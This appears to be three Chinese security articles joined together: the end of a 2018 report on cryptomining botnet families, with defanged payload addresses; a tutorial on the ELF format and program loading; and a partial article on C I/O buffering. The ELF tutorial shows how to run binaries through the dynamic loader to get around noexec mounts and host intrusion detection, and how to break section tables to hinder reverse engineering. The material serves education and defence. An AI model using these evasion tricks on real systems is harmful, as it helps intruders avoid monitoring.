2018年，Mykings家族攻击趋势较为稳定。2018年上半年Mykings家族呈平稳上升趋势，年中时曾经对MsSQL发起一次大规模的爆破攻击，在这次攻击中Mykings家族使用新的载荷下载地址，并尝试使用“白利用”技术对抗杀毒软件，也是在这一波攻击之后，Mykings家族控制的僵尸机数量大幅上涨[12]。与WannaMine家族相似，Mykings家族在2018年下半年稍显沉寂，直到2018年11月与“暗云”家族合作后才有所改观。
图17 Mykings家族2018年攻击趋势
### 三、“8220”组织[13]
图18 “8220”组织典型的攻击流程
2017年11月，一攻击组织使用当时还是0day状态的Weblogic反序列化漏洞（CVE-2017-10271）入侵服务器植入挖矿木马，这是第一次被公开披露的使用0day漏洞入侵服务器植入挖矿木马的案例，而这个攻击组织就是“8220”组织。
“8220”组织传播的挖矿木马攻击流程十分简单，即通过Web应用漏洞入侵Windows服务器之后通过PowerShell下载挖矿木马执行，再通过计划任务在计算机中持续驻留。不同于WannaMine家族和Mykings家族，“8220”组织传播的挖矿木马并不具有蠕虫传播的功能，但是该组织活跃时依然能够成功入侵大量Windows服务器。可以断定，“8220”组织手中必然保存着一个存在漏洞的服务器IP地址的列表，使该组织能够定期对大量服务器实施打击。
“8220”组织在2018年年初较为活跃，主要原因在于2018年年初披露的Web应用漏洞POC数量相比较其他时候要多得多。之后随着披露的Web应用漏洞POC数量的减少，“8220”组织也相对沉寂，不过到了2018年12月末，“8220“组织使用包括Github、bitbucket在内的代码托管平台存储载荷，开启新一波服务器入侵攻势。
图19 “8220”组织2018年攻击趋势
### 四、bulehero[14]
图20 bulehero家族典型的攻击流程
bulehero家族最早出现于2018年初，该家族最初并非使用bulehero.in这个域名作为载荷下载URL，而是直接使用IP地址173.208.202.234。诞生初期的bulehero家族规模并不大，直到2018年7月，该家族所构建的僵尸网络才逐渐成型。2018年12月，ThinkPHP
v5被曝存在远程代码执行漏洞，bulehero是第一个使用该漏洞入侵服务器的家族，而这次入侵也使bulehero家族控制的僵尸机器数量暴涨[15]。
图21 bulehero家族2018年攻击趋势
### 五、MassMiner[16]
图22 MassMiner家族典型的攻击流程
MassMiner家族以其使用Masscan扫描器得名。该家族主要活跃于2018年上半年，通过Web应用漏洞和MsSQL弱口令爆破入侵Windows服务器，并将受害机器转化为傀儡机对互联网中的计算机进行扫描和入侵，构建僵尸网络。
进入2018年下半年，MassMiner几乎消失。有趣的是，MassMiner所使用的门罗币钱包地址共收入将近1000个门罗币，这明显与MassMiner家族构建的僵尸网络规模不符。可见MassMiner家族必然还存在一个尚未被披露的分支，这个分支为该家族带来绝大多数的收益。
图23 MassMiner家族2018年攻击趋势
### 六、ArcGISMiner
图24 ArcGISMiner家族典型的攻击流程
这是一个尚未有专门报告披露的挖矿木马家族，也是挖矿木马中的“异类”——ArcGISMiner只在几个时间段攻击服务器，每次攻击持续不会超过2个小时，并且两次攻击间隔最少为6天。ArcGISMiner主要针对提供位置服务的ArcGIS、exLive等Web应用，入侵服务器后通过反射dll注入执行挖矿。
攻击时间
|
载荷下载地址
---|---
2018年5月17日
|
hxxp://121.41.33.131:8000
2018年6月6日
|
hxxp://121.41.33.131:8000
2018年8月23日
|
hxxp://121.41.33.131:8000
2018年8月28日
|
hxxp://120.27.244.75:53
2018年10月19日
|
hxxp://121.41.33.131:8000
2018年11月1日
|
hxxp://status.chalive.cn
表4 ArcGISMiner攻击时间点与载荷下载地址
## 第四章 总结
2018年是挖矿木马由兴起到稳定发展的一年，这一年中有许多新家族涌现，也有许多家族在竞争中消亡，整体攻击趋势转向平稳。毫无疑问的是，在这一年挖矿木马变得更加成熟，幕后操纵者也不再是“野路子”黑客，而是商业化程度极高的黑产组织。黑产家族间的相互合作、各取所需，使受害计算机和网络设备的价值被更大程度压榨，合作带来的技术升级也给安全从业者带来更大挑战。不难预测，未来挖矿木马攻击将保持平稳，但黑产家族间的合作将更加普遍，“闷声发大财”可能是新一年挖矿木马的主要目标。
## 参考文章
[1] <https://www.freebuf.com/news/158007.html>
[2] <https://www.freebuf.com/articles/web/166066.html>
[3] <https://github.com/danielbohannon/Invoke-DOSfuscation>
[4]<https://www.coingecko.com/zh/%E4%BB%B7%E6%A0%BC%E5%9B%BE/%E9%97%A8%E7%BD%97%E5%B8%81/cny>
[5] <https://www.freebuf.com/articles/web/175626.html>
[6] <http://www.360.cn/n/10470.html>
[7] <https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless>
[8] <https://www.kaspersky.com/blog/powerghost-fileless-miner/23310/>
[9] <https://www.freebuf.com/articles/web/166066.html>
[10]<https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/>
[11] <https://www.huorong.cn/info/150097083373.html>
[12] <https://s.tencent.com/research/report/504.html>
[13] <https://ti.360.net/blog/articles/8220-mining-gang-in-china/>
[14] <https://www.freebuf.com/column/180544.html>
[15] <http://www.360.cn/n/10542.html>
[16]<https://www.alienvault.com/blogs/labs-research/massminer-malware-targeting-web-servers> | 社区文章 |
**作者：evilpan**
**原文链接：[ https://evilpan.com/2020/08/09/elf-inside-out/](https://evilpan.com/2020/08/09/elf-inside-out/ "
https://evilpan.com/2020/08/09/elf-inside-out/")
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
本文介绍了ELF的基本结构和内存加载的原理，并用具体案例来分析如何通过ELF特性实现HIDS bypass、加固/脱壳以及辅助进行binary
fuzzing。
# 前言
作为一个安全研究人员，ELF可以说是一个必须了解的格式，因为这关系到程序的编译、链接、封装、加载、动态执行等方方面面。有人就说了，这不就是一种文件格式而已嘛，最多按照SPEC实现一遍也就会了，难道还能复杂过FLV/MP4？曾经我也是这么认为的，直到我在日常工作时遇到了下面的错误:
$ r2 a.out
Segmentation fault
作为一个开源爱好者，我的[radare2](https://github.com/radareorg/radare2)经常是用master分支编译的，经过在github中搜索，发现radare对于ELF的处理还有不少同类的问题，比如[issue#17300](https://github.com/radareorg/radare2/issues/17300)以及[issue#17379](https://github.com/radareorg/radare2/issues/17379)，这还只是近一个月内的两个open
issue，历史问题更是数不胜数。
总不能说radare的开发者不了解ELF吧？事实上他们都是软件开发和逆向工程界的专家。不止radare，其实IDA和其他反编译工具也曾出现过各类[ELF相关的bug](https://ioactive.com/wp-content/uploads/2018/05/IOActive_ELF_Parsing_with_Melkor-1.pdf)。
说了那么多，只是为了引出一个观点:
ELF既简单也复杂，值得我们去深入了解。网上已经有了很多介绍ELF的文章，因此本文不会花太多篇幅在SPEC的复制粘贴上，而是结合实际案例和应用场景去进行说明。
# ELF 101
ELF的全称是 **Executable and Linking Format**
，这个名字相当关键，包含了ELF所需要支持的两个功能——执行和链接。不管是ELF，还是Windows的`PE`，抑或是MacOS的`Mach-O`，其根本目的都是为了能让处理器正确执行我们所编写的代码。
## 大局观
在上古时期，给CPU运行代码也不用那么复杂，什么代码段数据段，直接把编译好的机器码一把梭烧到中断内存空间，PC直接跳过来就执行了。但随着时代变化，大家总不能一直写汇编了，即便编译器很给力，也会涉及到多人协作、资源复用等问题。这时候就需要一种可拓展(Portable)的文件标准，一方面让开发者(编译器/链接器)能够高效协作，另一方面也需要系统能够正确、安全地将文件加载到对应内存中去执行，这就是ELF的使命。
从大局上看，ELF文件主要分为3个部分:
* ELF Header
* Section Header Table
* Program Header Table
其中， **ELF Header** 是文件头，包含了固定长度的文件信息； **Section Header Table** 则包含了 **链接时**
所需要用到的信息； **Program Header Table** 中包含了 **运行时** 加载程序所需要的信息，后面会进行分别介绍。
## ELF Header
ELF头部的定义在[elf/elf.h](https://github.com/bminor/glibc/blob/glibc-2.27/elf/elf.h)中(以glibc-2.27为例)，使用POD结构体表示，内存可使用结构体的字段一一映射，头部表示如下:
#define EI_NIDENT (16)
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
注释都很清楚了，挑一些比较重要的来说。其中`e_type`表示ELF文件的类型，有以下几种:
* ET_NONE: 未知类型
* ET_REL: 可重定向类型(relocatable)，通常是我们编译的`*.o`文件
* ET_EXEC: 可执行类型(executable)，静态编译的可执行文件
* ET_DYN: 共享对象(shared object)，动态编译的可执行文件或者动态库`*.so`
* ET_CORE: coredump文件
`e_entry`是程序的入口虚拟地址，注意不是main函数的地址，而是`.text`段的首地址`_start`。当然这也要求程序本身非PIE(`-no-pie`)编译的且ASLR关闭的情况下，对于非`ET_EXEC`类型通常并不是实际的虚拟地址值。
其他的字段大多数是指定Section Header(`e_sh`)和Program Header(`e_ph`)的信息。Section/Program
Header Table本身可以看做是数组结构，ELF头中的信息指定对应Table数组的位置、长度、元素大小信息。最后一个 _e_shstrndx_
表示的是section table中的第 _e_shstrndx_ 项元素，保存了所有section table名称的字符串信息。
## Section Header
上节说了section header table是一个数组结构，这个数组的位置在 _e_shoff_ 处，共有 _e_shnum_
个元素(即section)，每个元素的大小为 _e_shentsize_ 字节。每个元素的结构如下:
typedef struct
{
Elf32_Word sh_name; /* Section name (string tbl index) */
Elf32_Word sh_type; /* Section type */
Elf32_Word sh_flags; /* Section flags */
Elf32_Addr sh_addr; /* Section virtual addr at execution */
Elf32_Off sh_offset; /* Section file offset */
Elf32_Word sh_size; /* Section size in bytes */
Elf32_Word sh_link; /* Link to another section */
Elf32_Word sh_info; /* Additional section information */
Elf32_Word sh_addralign; /* Section alignment */
Elf32_Word sh_entsize; /* Entry size if section holds table */
} Elf32_Shdr;
其中`sh_name`是该section的名称，用一个word表示其在字符表中的偏移，字符串表(.shstrtab)就是上面说到的第
_e_shstrndx_ 个元素。ELF文件中经常使用这种偏移表示方式，可以方便组织不同区段之间的引用。
`sh_type`表示本section的类型，SPEC中定义了几十个类型，列举其中一些如下:
* SHT_NULL: 表示该section无效，通常第0个section为该类型
* SHT_PROGBITS: 表示该section包含由程序决定的内容，如`.text`、`.data`、`.plt`、`.got`
* SHT_SYMTAB/SHT_DYNSYM: 表示该section中包含符号表，如`.symtab`、`.dynsym`
* SHT_DYNAMIC: 表示该section中包含动态链接阶段所需要的信息
* SHT_STRTAB: 表示该section中包含字符串信息，如`.strtab`、`.shstrtab`
* SHT_REL/SHT_RELA: 包含重定向项信息
* ...
虽然每个section header的大小一样(e_shentsize字节)，但不同类型的section有不同的内容，内容部分由这几个字段表示:
* sh_offset: 内容起始地址相对于文件开头的偏移
* sh_size: 内容的大小
* sh_entsize: 有的内容是也是一个数组，这个字段就表示数组的元素大小
与运行时信息相关的字段为:
* sh_addr: 如果该section需要在运行时加载到虚拟内存中，该字段就是对应section内容(第一个字节)的虚拟地址
* sh_addralign: 内容地址的对齐，如果有的话需要满足`sh_addr % sh_addralign = 0`
* sh_flags: 表示所映射内容的权限，可根据`SHF_WRITE/ALLOC/EXECINSTR`进行组合
另外两个字段`sh_link`和`sh_info`的含义根据section类型的不同而不同，如下表所示:
至于不同类型的section，有的是保存符号表，有的是保存字符串，这也是ELF表现出拓展性和复杂性的地方，因此需要在遇到具体问题的时候查看文档去进行具体分析。
## Program Header
program header table用来保存程序加载到内存中所需要的信息，使用段(segment)来表示。与section header
table类似，同样是数组结构。数组的位置在偏移 _e_phoff_ 处，每个元素(segment header)的大小为 _e_phentsize_
，共有 _e_phnum_ 个元素。单个segment header的结构如下:
typedef struct
{
Elf32_Word p_type; /* Segment type */
Elf32_Off p_offset; /* Segment file offset */
Elf32_Addr p_vaddr; /* Segment virtual address */
Elf32_Addr p_paddr; /* Segment physical address */
Elf32_Word p_filesz; /* Segment size in file */
Elf32_Word p_memsz; /* Segment size in memory */
Elf32_Word p_flags; /* Segment flags */
Elf32_Word p_align; /* Segment alignment */
} Elf32_Phdr;
既然program header的作用是提供用于初始化程序进程的段信息，那么下面这些字段就是很直观的:
* p_offset: 该segment的数据在文件中的偏移地址(相对文件头)
* p_vaddr: segment数据应该加载到进程的虚拟地址
* p_paddr: segment数据应该加载到进程的物理地址(如果对应系统使用的是物理地址)
* p_filesz: 该segment数据在文件中的大小
* p_memsz: 该segment数据在进程内存中的大小。注意需要满足`p_memsz>=p_filesz`，多出的部分初始化为0，通常作为`.bss`段内容
* p_flags: 进程中该segment的权限(R/W/X)
* p_align: 该segment数据的对齐，2的整数次幂。即要求`p_offset % p_align = p_vaddr`。
剩下的`p_type`字段，表示该program segment的类型，主要有以下几种:
* PT_NULL: 表示该段未使用
* PT_LOAD: Loadable Segment，将文件中的segment内容映射到进程内存中对应的地址上。值得一提的是SPEC中说在program header中的多个PT_LOAD地址是按照虚拟地址递增排序的。
* PT_DYNAMIC: 动态链接中用到的段，通常是RW映射，因为需要由`interpreter`(ld.so)修复对应的的入口
* PT_INTERP: 包含interpreter的路径，见下文
* PT_HDR: 表示program header table本身。如果有这个segment的话，必须要在所有可加载的segment之前，并且在文件中不能出现超过 **一次** 。
* ...
在不同的操作系统中还可能有一些拓展的类型，比如`PT_GNU_STACK`、`PT_GNU_RELRO`等，不一而足。
## 小结
至此，ELF文件中相关的字段已经介绍完毕，主要组成也就是Section Header Table和Program Header
Table两部分，整体框架相当简洁。而ELF中体现拓展性的地方则是在Section和Segment的类型上(s_type和p_type)，这两个字段的类型都是`ElfN_Word`，在32位系统下大小为4字节，也就是说最多可以支持高达`2^32
- 1`种不同的类型！除了上面介绍的常见类型，不同操作系统或者厂商还能定义自己的类型去实现更多复杂的功能。
# 程序加载
在新版的ELF标准文档中，将ELF的介绍分成了三部分，第一部分介绍ELF文件本身的结构，第二部分是处理器相关的内容，第三部分是操作系统相关的内容。ELF的加载实际上是与操作系统相关的，不过大部分情况下我们都是在GNU/Linux环境中运行，因此就以此为例介绍程序的加载流程。
Linux中分为用户态和内核态，执行ELF文件在用户态的表现就是执行 **execve** 系统调用，随后陷入内核进行处理。
## 内核空间
内核空间对execve的处理其实可以单独用一篇文章去介绍，其中涉及到进程的创建、文件资源的处理以及进程权限的设置等等。我们这里主要关注其中ELF处理相关的部分即可，实际上内核可以识别多种类型的可执行文件，ELF的处理代码主要在[fs/binfmt_elf.c](https://elixir.bootlin.com/linux/v3.18/source/fs/binfmt_elf.c)中的`load_elf_binary`函数中。
对于ELF而言，Linux内核所关心的只有Program
Header部分，甚至大部分情况下只关心三种类型的Header，即`PT_LOAD`、`PT_INTERP`和`PT_GNU_STACK`。以3.18内核为例，load_elf_binary主要有下面操作:
1. 对ELF文件做一些基本检查，保证`e_phentsize = sizeof(struct elf_phdr)`并且`e_phnum`的个数在一定范围内；
2. 循环查看每一项program header，如果有PT_INTERP则使用`open_exec`加载进来，并替换原程序的`bprm->buf`;
3. 根据`PT_GNU_STACK`段中的flag设置栈是否可执行；
4. 使用`flush_old_exec`来更新当前可执行文件的所有引用；
5. 使用`setup_new_exec`设置新的可执行文件在内核中的状态；
6. `setup_arg_pages`在栈上设置程序调用参数的内存页；
7. 循环每一项`PT_LOAD`类型的段，`elf_map`映射到对应内存页中，初始化BSS；
8. 如果存在interpreter，将入口(elf_entry)设置为interpreter的函数入口，否则设置为原ELF的入口地址；
9. `install_exec_creds(bprm)`设置进程权限等信息；
10. `create_elf_tables`添加需要的信息到程序的栈中，比如 **ELF auxiliary vector** ；
11. 设置`current->mm`对应的字段；
从内核的处理流程上来看，如果是静态链接的程序，实际上内核返回用户空间执行的就是该程序的入口地址代码；如果是动态链接的程序，内核返回用户空间执行的则是interpreter的代码，并由其加载实际的ELF程序去执行。
为什么要这么做呢？如果把动态链接相关的代码也放到内核中，就会导致内核执行功能过多，内核的理念一直是能不在内核中执行的就不在内核中处理，以避免出现问题时难以更新而且影响系统整体的稳定性。事实上内核中对ELF文件结构的支持是相当有限的，只能读取并理解部分的字段。
## 用户空间
内核返回用户空间后，对于静态链接的程序是直接执行，没什么好说的。而对于动态链接的程序，实际是执行interpreter的代码。ELF的interpreter作为一个段，自然是编译链接的时候加进去的，因此和编译使用的工具链有关。对于Linux系统而言，使用的一般是GCC工具链，而interpreter的实现，代码就在glibc的[elf/rtld.c](https://github.com/bminor/glibc/blob/glibc-2.27/elf/rtld.c)中。
interpreter又称为dynamic linker，以glibc2.27为例，它的大致功能如下:
* 将实际要执行的ELF程序中的内存段加载到当前进程空间中；
* 将动态库的内存段加载到当前进程空间中；
* 对ELF程序和动态库进行重定向操作(relocation)；
* 调用动态库的初始化函数(如 _.preinit_array, .init, .init_array_ )；
* 将控制流传递给目标ELF程序，让其看起来自己是直接启动的；
其中参与动态加载和重定向所需要的重要部分就是Program Header
Table中`PT_DYNAMIC`类型的Segment。前面我们提到在Section
Header中也有一部分参与动态链接的section，即`.dynamic`。我在自己解析动态链接文件的时候发现，实际上 `.dynamic`
section中的数据，和`PT_DYNAMIC`中的数据指向的是文件中的 **同一个地方**
，即这两个entry的s_offset和p_offset是相同。每个元素的类型如下:
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
d_tag表示实际类型，并且d_un和d_tag相关，可能说是很有拓展性了:) 同样的，标准中定义了几十个d_tag类型，比较常用的几个如下:
* DT_NULL: 表示_DYNAMIC的结尾
* DT_NEEDED: d_val保存了一个到字符串表头的偏移，指定的字符串表示该ELF所依赖的动态库名称
* DT_STRTAB: d_ptr指定了地址保存了符号、动态库名称以及其他用到的字符串
* DT_STRSZ: 字符串表的大小
* DT_SYMTAB: 指定地址保存了符号表
* DT_INIT/DT_FINI: 指定初始化函数和结束函数的地址
* DT_RPATH: 指定动态库搜索目录
* DT_SONAME: Shared Object Name，指定当前动态库的名字([logical name](https://en.wikipedia.org/wiki/Soname))
* ...
其中有部分的类型可以和Section中的`SHT_xxx`类型进行类比，完整的列表可以参考ELF标准中的 _Book III: Operating
System Specific_ 一节。
在interpreter根据`DT_NEEDED`加载完所有需要的动态库后，就实现了完整进程虚拟内存映像的布局。在寻找某个动态符号时，interpreter会使用
**广度优先**
的方式去进行搜索，即先在当前ELF符号表中找，然后再从当前ELF的`DT_NEEDED`动态库中找，再然后从动态库中的`DT_NEEDED`里查找。
因为动态库本身是位置无关的(PIE)，支持被加载到内存中的随机位置，因此为了程序中用到的符号可以被正确引用，需要对其进行重定向操作，指向对应符号的真实地址。这部分我在之前写的关于[GOT,PLT和动态链接](https://evilpan.com/2018/04/09/about-got-plt/)的文章中已经详细介绍过了，因此不再赘述，感兴趣的朋友可以参考该文章。
# 实际案例
有人也许会问，我看你bibi了这么多，有什么实际意义吗？呵呵，本节就来分享几个我认为比较有用的应用场景。
## Interpreter Hack
在渗透测试中，红队小伙伴们经常能拿到目标的后台shell权限，但是遇到一些部署了HIDS的大企业，很可能在执行恶意程序的时候被拦截，或者甚至触发监测异常直接被蓝队拔网线。这里不考虑具体的HIDS产品，假设现在面对两种场景:
1. 目标环境的可写磁盘直接mount为 **noexec** ，无法执行代码
2. 目标环境内核监控任何非系统路径的程序的执行都会直接告警
不管什么样的环境，我相信老红队都有办法去绕过，这里我们运用上面学到的ELF知识，其实有一种更为简单的解法，即利用interpreter。示例如下:
$ cat hello.c
#include <stdio.h>
int main() {
return puts("hello!");
}
$ gcc hello.c -o hello
$ ./hello
hello!
$ chmod -x hello
$ ./hello
bash: ./hello: Permission denied
$ /lib64/ld-linux-x86-64.so.2 ./hello
hello!
$ strace /lib64/ld-linux-x86-64.so.2 ./hello 2>&1 | grep exec
execve("/lib64/ld-linux-x86-64.so.2", ["/lib64/ld-linux-x86-64.so.2", "./hello"], 0x7fff1206f208 /* 9 vars */) = 0
`/lib64/ld-linux-x86-64.so.2`本身应该是内核调用执行的，但我们这里可以直接进行调用。这样一方面可以在没有执行权限的情况下执行任意代码，另一方面也可以在一定程度上避免内核对execve的异常监控。
利用(滥用)interpreter我们还可以做其他有趣的事情，比如通过修改指定ELF文件的interpreter为我们自己的可执行文件，可让内核在处理目标ELF时将控制器交给我们的interpreter，这可以通过直接修改字符串表或者使用一些工具如[patchelf](https://github.com/NixOS/patchelf)来轻松实现。
对于恶意软件分析的场景，很多安全研究人员看到ELF就喜欢用[ldd](https://man7.org/linux/man-pages/man1/ldd.1.html)去看看有什么依赖库，一般ldd脚本实际上是调用系统默认的[ld.so](https://man7.org/linux/man-pages/man8/ld.so.8.html)并通过环境变量来打印信息，不过对于某些glibc实现(如glibc2.27之前的ld.so)，会调用ELF指定的interpreter运行，从而存在非预期命令执行的风险。
当然还有更多其他的思路可以进行拓展，这就需要大家发挥脑洞了。
## 加固/脱壳
与逆向分析比较相关的就是符号表，一个有符号的程序在逆向时基本上和读源码差不多。因此对于想保护应用程序的开发者而言，最简单的防护方法就是去除符号表，一个简单的
**strip**
命令就可实现。strip删除的主要是Section中的信息，因为这不影响程序的执行。去除前后进行diff对比可看到删除的section主要有下面这些:
$ diff 0 1
1c1
< There are 35 section headers, starting at offset 0x1fdc:
--- > There are 28 section headers, starting at offset 0x1144:
32,39c32
< [27] .debug_aranges PROGBITS 00000000 00104d 000020 00 0 0 1
< [28] .debug_info PROGBITS 00000000 00106d 000350 00 0 0 1
< [29] .debug_abbrev PROGBITS 00000000 0013bd 000100 00 0 0 1
< [30] .debug_line PROGBITS 00000000 0014bd 0000cd 00 0 0 1
< [31] .debug_str PROGBITS 00000000 00158a 000293 01 MS 0 0 1
< [32] .symtab SYMTAB 00000000 001820 000480 10 33 49 4
< [33] .strtab STRTAB 00000000 001ca0 0001f4 00 0 0 1
< [34] .shstrtab STRTAB 00000000 001e94 000145 00 0 0 1
--- > [27] .shstrtab STRTAB 00000000 00104d 0000f5 00 0 0 1
其中 **.symtab** 是符号表， **.strtab** 是符号表中用到的字符串。
仅仅去掉符号感觉还不够，熟悉汇编的人放到反编译工具中还是可以慢慢还原程序逻辑。通过前面的分析我们知道，ELF执行需要的只是Program
Header中的几个段，Section
Header实际上是不需要的，只不过在运行时动态链接过程会引用到部分关联的区域。大部分反编译工具，如IDA、Ghidra等，处理ELF是需要某些section信息来构建程序视图的，所以我们可以通过构造一个损坏Section
Table或者ELF Header令这些反编译工具出错，从而干扰逆向人员。
当然，这个方法并不总是奏效，逆向人员可以通过动态调试把程序dump出来并对运行视图进行还原。一个典型的例子是Android中的JNI动态库，有的安全人员对这些so文件进行了加密处理，并且在`.init/.initarray`这些动态库初始化函数中进行动态解密。破解这种加固方法的策略就是将其从内存中复制出来并进行重建，重建的过程可根据segment对section进行还原，因为segment和section之间共享了许多内存空间，例如:
$ readelf -l main1
...
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
在`Section to Segment
mapping`中可以看到这些段的内容是跟对应section的内容重叠的，虽然一个segment可能对应多个section，但是可以根据内存的读写属性、内存特征以及对应段的一般顺序进行区分。
如果程序中有比较详细的日志函数，我们还可以通过反编译工具的脚本拓展去修改`.symtab/.strtab`段来批量还原ELF文件的符号，从而高效地辅助动态调试。
## Binary Fuzzing
考虑这么一种场景，我们在分析某个IoT设备时发现了一个定制的ELF网络程序，类似于httpd，其中有个静态函数负责处理输入数据。现在想要单独对这个函数进行fuzz应该怎么做？直接从网络请求中进行变异是一种方法，但是网络请求的效率太低，而且触达该函数的程序逻辑也可能太长。
既然我们已经了解了ELF，那就可以有更好的办法将该函数抽取出来进行独立调用。在介绍ELF类型的时候其实有提到，可执行文件可以有两种类型，即可执行类型(`ET_EXEC`)和共享对象(`ET_DYN`)，一个动态链接的可执行程序默认是共享对象类型的:
$ gcc hello.c -o hello
$ readelf -h hello | grep Type
Type: DYN (Shared object file)
而动态库(.so)本身也是共享对象类型，他们之间的本质区别在于前者链接了libc并且定义了main函数。对于动态库，我们可以通过`dlopen/dlsym`获取对应的符号进行调用，因此对于上面的场景，一个解决方式就是修改目标ELF文件，并且将对应的静态函数导出添加到dynamic
section中，并修复对应的ELF头。
这个思想其实很早就已经有人实现了，比如lief的[bin2lib](https://lief.quarkslab.com/doc/latest/tutorials/08_elf_bin2lib.html)。通过该方法，我们就能将目标程序任意的函数抽取出来执行，比如hugsy就用这个方式复现了Exim中的溢出漏洞(CVE-2018-6789)，详见[Fuzzing
arbitrary functions in ELF
binaries](https://blahcat.github.io/2018/03/11/fuzzing-arbitrary-functions-in-elf-binaries/)([中文翻译](https://www.anquanke.com/post/id/100801))。
# 总结
本文主要介绍了32位环境下ELF文件的格式和布局，然后从内核空间和用户空间两个方向分析了ELF程序的加载过程，最后列举了几个依赖于ELF文件特性的案例进行具体分析，包括dynamic
linker的滥用、程序加固和反加固以及在二进制fuzzing中的应用。
ELF文件本身并不复杂，只有三个关键部分，只不过在section和segment的类型上保留了极大的拓展性。操作系统可以根据自己的需求在不同字段上实现和拓展自己的功能，比如Linux中通过dymamic类型实现动态加载。但这不是必须的，例如在Android中就通过ELF格式封装了特有的`.odex`、
`.oat`文件来保存优化后的dex。另外对于64位环境，大部分字段含义都是类似的，只是字段大小稍有变化(Elf32->Elf64)，并不影响文中的结论。
# 参考链接
* [Linux Foundation Referenced Specifications](https://refspecs.linuxfoundation.org/)
* [Executable and Linkable Format (ELF)](http://www.cs.yale.edu/homes/aspnes/pinewiki/attachments/ELF\(20\)format/ELF_format.pdf)
* [Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification Version 1.2](https://refspecs.linuxfoundation.org/elf/elf.pdf)
* [elf(5) - format of Executable and Linking Format (ELF) files](https://man7.org/linux/man-pages/man5/elf.5.html)
* [How programs get run: ELF binaries](https://lwn.net/Articles/631631/)
* [深入了解GOT,PLT和动态链接](https://evilpan.com/2018/04/09/about-got-plt/)
* * * | 社区文章 |
# 缓冲区机制详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在最近的几场比赛中，部分赛题牵扯到缓冲区的知识，之前对这块的知识还不够特别的理解，所以抽时间来总结一下。
## 一、什么是缓冲区机制
首先我们要知道什么是缓冲区
总的来说，缓冲区是内存空间的一部分，在内存中预留了一定的存储空间，用来暂时保存输入和输出等`I/O`操作的一些数据，这些预留的空间就叫做缓冲区；而`buffer`缓冲区和`Cache`缓存区都属于缓冲区的一种
`buffer`缓冲区存储速度不同步的设备或者优先级不同的设备之间的传输数据，比如键盘、鼠标等；此外，`buffer`一般是用在写入磁盘的；
`Cache`缓存区是位于CPU和主内存之间的容量较小但速度很快的存储器，`Cache`保存着CPU刚用过的数据或循环使用的数据；`Cache`缓存区的运用一般是在`I/O`的请求上
缓存区按性质分为两种，一种是输入缓冲区，另一种是输出缓冲区。对于C、C++程序来言，类似cin、getchar等输入函数读取数据时，并不会直接从键盘上读取，而是遵循着一个过程：`cingetchar
--> 输入缓冲区 -->
键盘`，我们从键盘上输入的字符先存到缓冲区里面，`cingetchar`等函数是从缓冲区里面读取输入；那么相对于输出来说，程序将要输出的结果并不会直接输出到屏幕当中区，而是先存放到输出缓存区，然后利用`coutputchar`等函数将缓冲区中的内容输出到屏幕上。`cin`和`cout`本质上都是对缓冲区中的内容进行操作。
## 二、为什么使用缓冲区机制
减少CPU对磁盘的读写次数；CPU读取磁盘中的数据并不是直接读取磁盘，而是先将磁盘的内容读入到内存，也就是缓冲区，然后CPU对缓冲区进行读取，进而操作数据；计算机对缓冲区的操作时间远远小于对磁盘的操作时间，大大的加快了运行速度。下面一个图片描述的就是这样的一个过程
提高CPU的执行效率；比如说使用打印机打印文档，打印的速度是相对比较慢的，我们操作CPU将要打印的内容输出到缓冲区中，然后CPU转手就可以做其他的操作，进而提高CPU的效率
合并读写；比如说对于一个文件的数据，先读取后写入，循环执行10次，然后关闭文件，如果存在缓冲机制，那么就可能只有第一次读和最后一次写是真实操作，其他的操作都是在操作缓存
## 三、缓冲区的分类
缓冲区分为三大类：全缓冲、行缓冲、无缓冲
1. 全缓冲；只有在缓冲区被填满之后才会进行`I/O`操作；最典型的全缓冲就是对磁盘文件的读写。
2. 行缓冲；只有在输入或者是输出中遇到换行符的时候才会进行`I/O`操作；这忠允许我们一次写一个字符，但是只有在写完一行之后才做`I/O`操作。一般来说，标准输入流(`stdin`)和标准输出流(`stdout`)是行缓冲。
3. 无缓冲；标准`I/O`不缓存字符；其中表现最明显的就是标准错误输出流(`stderr`)，这使得出错信息尽快的返回给用户。
## 四、对缓冲区操作的函数（C语言）
标准输出函数：`printf、puts、putchar`等。
标准输入函数：`scanf、gets、getchar`等。
IO_FILE：`fopen、fwrite、fread、fseek`等
`fflush`函数的作用是清除缓冲区中的内容，如下所示（实验环境影响差距较大）:
#include <stdio.h>
#include <stdlib.h>
int main(){
int a;
char b;
scanf("%d", &a);
b = getchar();
printf("a = %d, b = %p n", a, b);
return 0;
}
输入`123↙`，程序输出如下：
一筐萝卜➜ test ./test_1
123↙
a = 123, b = 0xa
在程序中添加上`fflush`后
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a;
char b;
scanf("%d", &a);
fflush(stdin);
b = getchar();
printf("a = %d, b = %p n", a, b);
return 0;
}
输入`123↙`,程序输出如下
